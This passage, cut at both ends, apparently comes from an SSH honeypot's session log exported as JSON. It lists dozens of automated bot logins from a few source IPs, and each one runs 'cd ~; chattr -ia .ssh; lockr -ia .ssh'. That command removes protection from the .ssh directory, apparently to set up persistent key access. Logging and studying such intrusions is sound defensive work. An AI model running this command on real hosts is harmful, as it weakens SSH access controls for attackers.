"src_ip": "118.194.228.101", "src_port": 49170, "username": "ac", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 532, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:36:22.796549+00:00", "ended_at": "2026-08-27T02:36:23.539081+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2239 }, { "id": "644ae93a-a02a-41b5-8337-394ddc6f16f0", "name": "russet-courtly-jackdaw", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 49912, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 547, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:33:20.602582+00:00", "ended_at": "2026-08-27T02:33:21.281889+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "a0d34dad-6286-40f0-9fff-5ff2ffb87d08", "name": "zealous-lawful-chickadee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 34832, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 522, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:27:02.181397+00:00", "ended_at": "2026-08-27T02:27:03.575059+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "bbfb45e5-1981-4a34-80ab-474bc3436298", "name": "watchful-honest-hoopoe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 57042, "username": "chenyu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 562, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:24:11.138293+00:00", "ended_at": "2026-08-27T02:24:12.590042+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "10042d62-abe8-4b59-8dfc-60b474509ea1", "name": "mindful-sleepy-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 46760, "username": "yousef", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 513, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:20:56.350939+00:00", "ended_at": "2026-08-27T02:20:57.008370+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "eb077dd9-d37c-4314-ba6d-ceb3d85437a3", "name": "gritty-bold-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 59286, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 551, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:17:40.565599+00:00", "ended_at": "2026-08-27T02:17:41.267934+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "2b11cf79-634d-4a72-874d-443e40d46074", "name": "sandy-frugal-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 55304, "username": "toby", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 527, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:06:10.980914+00:00", "ended_at": "2026-08-27T02:06:12.218336+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2245 }, { "id": "57779227-83e8-43a5-81d7-75cd3369efbb", "name": "glacial-hearty-godwit", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 46424, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 560, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:03:29.032587+00:00", "ended_at": "2026-08-27T02:03:30.102092+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "3c91960f-9386-47a0-ac2e-315e750291ea", "name": "coral-salty-bowerbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 59792, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 543, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T02:00:16.565060+00:00", "ended_at": "2026-08-27T02:00:17.631058+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "5f84b496-5c89-47c9-b585-87bbb34b6e9b", "name": "rugged-idle-chamois", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 42640, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 515, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:57:01.767425+00:00", "ended_at": "2026-08-27T01:57:02.861508+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "3df4f059-c34b-4115-a3aa-bcd9be781bf6", "name": "prairie-icy-barbet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 34544, "username": "ftpuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 558, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:53:49.922814+00:00", "ended_at": "2026-08-27T01:53:51.302086+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "196f1d27-2c48-4975-ba0b-ddd181b0dab5", "name": "icy-grumpy-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 32900, "username": "oracle", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 541, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:50:32.380524+00:00", "ended_at": "2026-08-27T01:50:33.575565+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "9229aa80-23b4-4320-acbf-4916bcd0e6ad", "name": "sooty-golden-gannet", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 54798, "username": "wjx", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 525, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:47:29.547521+00:00", "ended_at": "2026-08-27T01:47:30.894678+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "5d170d24-50a3-41f2-b2a6-f2ed8dd45d3d", "name": "tidal-pleasant-bonobo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 36436, "username": "testserver", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 541, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:44:30.225882+00:00", "ended_at": "2026-08-27T01:44:31.735209+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2265 }, { "id": "688b3edf-2678-4644-a938-c3e7d46e0c0e", "name": "plush-ashen-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 48012, "username": "wushi", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 541, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:41:45.157077+00:00", "ended_at": "2026-08-27T01:41:46.363063+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "cf6775e3-99df-4276-b034-0548a506f67d", "name": "meadow-umber-moose", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 41666, "username": "VPN", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 518, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:38:59.630835+00:00", "ended_at": "2026-08-27T01:39:00.963779+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "33dfaf6c-a578-4c80-8a86-82e9aa4f5c40", "name": "marbled-somber-sable", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 39998, "username": "alma", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 530, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:35:49.956104+00:00", "ended_at": "2026-08-27T01:35:51.548596+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "0532f9d0-de19-4259-ac4e-e3bb61f94e62", "name": "blazing-curious-hummingbird", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 49768, "username": "vpsuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 540, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:32:33.115570+00:00", "ended_at": "2026-08-27T01:32:34.542697+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "dbe62335-4e5e-4818-ab78-456f858b9be9", "name": "breezy-forlorn-panther", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 33206, "username": "igor", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 543, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:29:16.307101+00:00", "ended_at": "2026-08-27T01:29:17.362010+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "66d7fd29-009f-483e-9c71-fd43eb389e87", "name": "fierce-glacial-falcon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 33574, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 567, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:23:09.177870+00:00", "ended_at": "2026-08-27T01:23:10.500250+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "bfcb867e-cf3f-4e83-b971-4cb292be2b4a", "name": "grassy-snowy-wallaby", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 36980, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 520, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:19:50.901302+00:00", "ended_at": "2026-08-27T01:19:52.508860+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "baf9edd4-8eab-45b6-99e9-d2bceea49c71", "name": "regal-ivory-manatee", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 36252, "username": "client", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 514, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:17:07.613064+00:00", "ended_at": "2026-08-27T01:17:08.769650+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "3e870c39-c9a8-4024-99f4-6357f24d91dc", "name": "thrifty-solemn-pochard", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 53860, "username": "edwin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 513, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:14:00.724812+00:00", "ended_at": "2026-08-27T01:14:02.097768+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2242 }, { "id": "7927f727-777d-425d-a918-c42e95a40e8c", "name": "dusty-honest-plover", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 51866, "username": "docker", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 526, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:10:45.323484+00:00", "ended_at": "2026-08-27T01:10:46.841590+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "575f8bc6-f8c8-4f63-925f-1e744944f020", "name": "slender-dewy-woodcock", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 33074, "username": "ashish", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 550, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:07:49.458024+00:00", "ended_at": "2026-08-27T01:07:50.570753+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2237 }, { "id": "633faf4c-a0a3-4be5-b02f-5141979685ad", "name": "dapper-nimble-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 56552, "username": "root2", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 547, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:04:49.081590+00:00", "ended_at": "2026-08-27T01:04:50.555496+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2270 }, { "id": "53ff8ccc-cf47-4170-a33c-af3e7ec1aa6f", "name": "upland-hushed-sloth", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 52344, "username": "es", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 515, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T01:01:44.923784+00:00", "ended_at": "2026-08-27T01:01:46.412093+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2205 }, { "id": "8bb1840d-1c97-4d2c-b932-11905850fd71", "name": "windswept-civil-francolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 43432, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 555, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:58:29.699246+00:00", "ended_at": "2026-08-27T00:58:31.016165+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2247 }, { "id": "9c9204b5-b416-4d6d-b3d1-eccace0e90c5", "name": "boreal-serene-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 45992, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 544, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:55:24.223136+00:00", "ended_at": "2026-08-27T00:55:25.280584+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2238 }, { "id": "9dc4ef9c-3031-4587-b567-997bc168067c", "name": "gleaming-austere-guanaco", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 42424, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 567, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:52:18.999740+00:00", "ended_at": "2026-08-27T00:52:20.000176+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2170 }, { "id": "cc4229b0-76f4-4588-b70a-92eee7a51923", "name": "sincere-verdant-cheetah", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 39982, "username": "debian", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 516, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:49:16.596636+00:00", "ended_at": "2026-08-27T00:49:17.603128+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2169 }, { "id": "9f734da3-9d18-470b-8ac2-f370ec450cbf", "name": "cobalt-smooth-seal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "179.102.26.14", "src_port": 3832, "username": "core", "client_version": "SSH-2.0-libssh_0.11.1", "auth_attempts": 1, "automation": "bot", "think_ms": 420, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:47:10.978402+00:00", "ended_at": "2026-08-27T00:47:11.698129+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2042 }, { "id": "a2b864d8-6190-407a-b621-bf22434555cd", "name": "nameless-seaward-onager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 57348, "username": "gitea", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 508, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:46:10.720378+00:00", "ended_at": "2026-08-27T00:46:12.209171+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2163 }, { "id": "2ef49375-1827-4419-971a-07984cb2a427", "name": "quartz-crimson-whimbrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 57234, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 535, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:42:56.877146+00:00", "ended_at": "2026-08-27T00:42:57.957604+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2194 }, { "id": "1f78f223-366e-4f69-9e15-b5e4f42eaef1", "name": "cobalt-hazy-ouzel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 44492, "username": "sora", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 556, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:39:54.403067+00:00", "ended_at": "2026-08-27T00:39:55.526725+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2126 }, { "id": "c9ef5156-8586-4eae-9c3d-5a91117b00e8", "name": "forlorn-quiet-impala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "97.74.87.152", "src_port": 33282, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 742, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:38:36.484406+00:00", "ended_at": "2026-08-27T00:38:37.325893+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "96e7c7e4-2a04-4fbf-a76e-0be66d30de68", "name": "restless-tidal-shrike", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 60220, "username": "michal", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 540, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:36:44.572496+00:00", "ended_at": "2026-08-27T00:36:46.059069+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2127 }, { "id": "1d3ba961-9947-47ed-8fd6-6400b59e5ee3", "name": "solar-rapid-bison", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 56892, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 522, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:33:42.846708+00:00", "ended_at": "2026-08-27T00:33:44.173413+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2161 }, { "id": "b6208ed3-6316-446d-9834-3837e3d83399", "name": "nautical-graceful-chinchilla", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 58962, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 515, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:30:43.803559+00:00", "ended_at": "2026-08-27T00:30:45.265857+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2150 }, { "id": "522f4b42-b84d-4bf6-91b3-d747fd167d87", "name": "rapid-candid-porcupine", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 46664, "username": "mailuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 516, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:27:42.331054+00:00", "ended_at": "2026-08-27T00:27:43.807106+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2078 }, { "id": "c4fa3bbc-ecba-4a1f-b0ad-4b87b4fe1fae", "name": "prairie-ivory-pangolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 49256, "username": "ssl", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 530, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:24:30.857302+00:00", "ended_at": "2026-08-27T00:24:32.153617+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2072 }, { "id": "5edb1ccb-d4dc-4fe7-b301-528eb53018b3", "name": "frank-dappled-cougar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 50422, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 581, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:21:10.422459+00:00", "ended_at": "2026-08-27T00:21:11.831471+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2117 }, { "id": "d07cf30b-8560-4b85-bbb5-af953dfb9455", "name": "early-deft-galago", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 50678, "username": "ftp_user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 571, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:17:53.831192+00:00", "ended_at": "2026-08-27T00:17:54.534356+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2057 }, { "id": "d8569d23-7d3d-4484-a143-bef4fc61640a", "name": "jaunty-northern-boar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "118.194.228.101", "src_port": 34414, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 548, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T00:14:46.269218+00:00", "ended_at": "2026-08-27T00:14:47.160675+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2095 }, { "id": "48a02821-9c28-49b2-a275-dbf93718a57c", "name": "northern-diligent-kea", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 57256, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:54:02.157985+00:00", "ended_at": "2026-08-26T22:54:03.018766+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "edd0c314-fcb9-447c-b79a-3656dc46905b", "name": "fabled-murky-hamster", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 57498, "username": "admin123", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:51:58.922845+00:00", "ended_at": "2026-08-26T22:52:00.471746+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2263 }, { "id": "f9e62d41-1d36-4fdd-af5c-5dddd67fcffc", "name": "coastal-frosty-jaguar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 47664, "username": "mahendra", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:50:04.919657+00:00", "ended_at": "2026-08-26T22:50:07.051229+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "22fe2092-f0d9-4d16-894b-ecbb034222d0", "name": "velvet-burly-oriole", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 59282, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:48:14.443094+00:00", "ended_at": "2026-08-26T22:48:15.808304+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "414307d0-dd10-440b-9f46-4fa975f862e3", "name": "orderly-thawing-gibbon", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 47676, "username": "test_user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:46:19.827969+00:00", "ended_at": "2026-08-26T22:46:20.812519+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2270 }, { "id": "d52ebf8a-fda9-4565-9359-5d037052d946", "name": "mindful-pewter-tapir", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 60222, "username": "rolando", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:44:24.890570+00:00", "ended_at": "2026-08-26T22:44:26.728059+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "0570332a-1fd4-4a47-ada3-ec6409b397ff", "name": "cunning-graceful-wheatear", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 46574, "username": "chenl", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:42:33.369511+00:00", "ended_at": "2026-08-26T22:42:35.381203+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "4e719400-061f-4e49-adcd-cf9a46eb27dc", "name": "candid-diligent-cougar", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 41206, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:40:30.789721+00:00", "ended_at": "2026-08-26T22:40:31.645165+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8e0602a6-803d-4475-a86b-78953a99927b", "name": "dusky-breezy-bittern", "protocol": "ssh", "channel_kind": "exec", "src_ip": "129.121.114.225", "src_port": 49254, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": null, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-26T22:38:28.814053+00:00", "ended_at": "2026-08-26T22:38:29.858603+00:00", 